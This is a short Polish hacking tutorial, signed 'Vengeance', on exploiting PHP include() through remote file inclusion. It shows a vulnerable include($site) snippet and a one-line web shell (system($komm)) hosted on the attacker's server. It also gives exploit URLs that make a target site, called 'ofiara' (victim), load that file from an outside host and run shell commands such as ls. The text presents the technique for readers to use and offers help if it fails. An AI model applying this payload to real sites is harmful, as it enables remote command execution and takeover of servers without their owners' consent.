Wykorzystanie błędów w include()


W tym texcie opisze na czym polegają błędy w wykorzystaniu funkcji PHP jaką jest include()

Tekst napisany wyłącznie przezemnie - napewno nie jest to kopia czyjeś pracy.
Mam nadzieje że ktoś się czegoś dzięki temu nauczy.

Jeśli macie jakieś problemy to: michal@elektrobit.com.pl lub GG# 2222545

Życzy miłego czytania ;)

Aha zaprzaszam na strone www.deep-under.com ;) Greetz for speTZnut

---/ Podstawowe błędy z wykorzystaniem funkcji include() /---

Na początek proponuje przeczytać co powoduje finkcja incude()
http://pl.php.net/function.include

Jak można wykryć taką dziure?? A no np. tak...
http://www.ofiara.com/index.php?site=kontakty.html

Coż to oznacza?? Otóż najprawdopodobniej to że gdzieś w kodzie
strony index.php jest coś takiego:

<?php
include($site);
?>

Niektozy teraz zapytają i co z tego... Ano to że include wstawia w swoje miejsce
kod pliku ktory ma w parametrze (w naszym przypadku będzie to kontakty.html)
jeśli plikiem tym jest plik *.php zostanie on najpierw zinterpretowany przez parser PHP. Jak to wykorzystać?? Może tak...

twożymy na swoim serwerze www ( przyjmijmy że jest nim
http://hack.republika.pl )plik hack.txt o takim kodzie

<?php
system($komm);
?>

a teraz zamiast http://www.ofiara.com/index.php?site=kontakty.html
w miejscu wartoście zmiennej $site wstawiamy adres pliku hack.txt na
naszym serwerze czyli powinno to wyglądać tak

http://www.ofiara.com/index.php?site=http://hack.republika.pl/ha  ck.txt

ALE UWAGA trzeba jesce określić zmienną $komm ktora jest w naszym pliku hack.txt
a będzie odpowiedzialna za wyświetlenie wyniku polecenia wywołanym na serwerze.
A więc ostateczny adres ktory powinniśmy wpisać do przglądarki to:

http://www.ofiara.com/index.php?site=http://hack.republika.pl/ha  ck.txt&komm=ls

W wyniku tego otrzymamy zawartość folderu w ktorym jest strona index.php

Jak narazie to tyle jeśli ktoś ma ochote może dopisywać kolejne sposoby.

Jeśli coś nie działa piszcie na mail lub na gg ( podałem na górze textu )

[root@localhost]# whoami
Vengeance
[root@localhost]#

Początek formularza

0x01 graphic
0x01 graphic
0x01 graphic
0x01 graphic

Dół formularza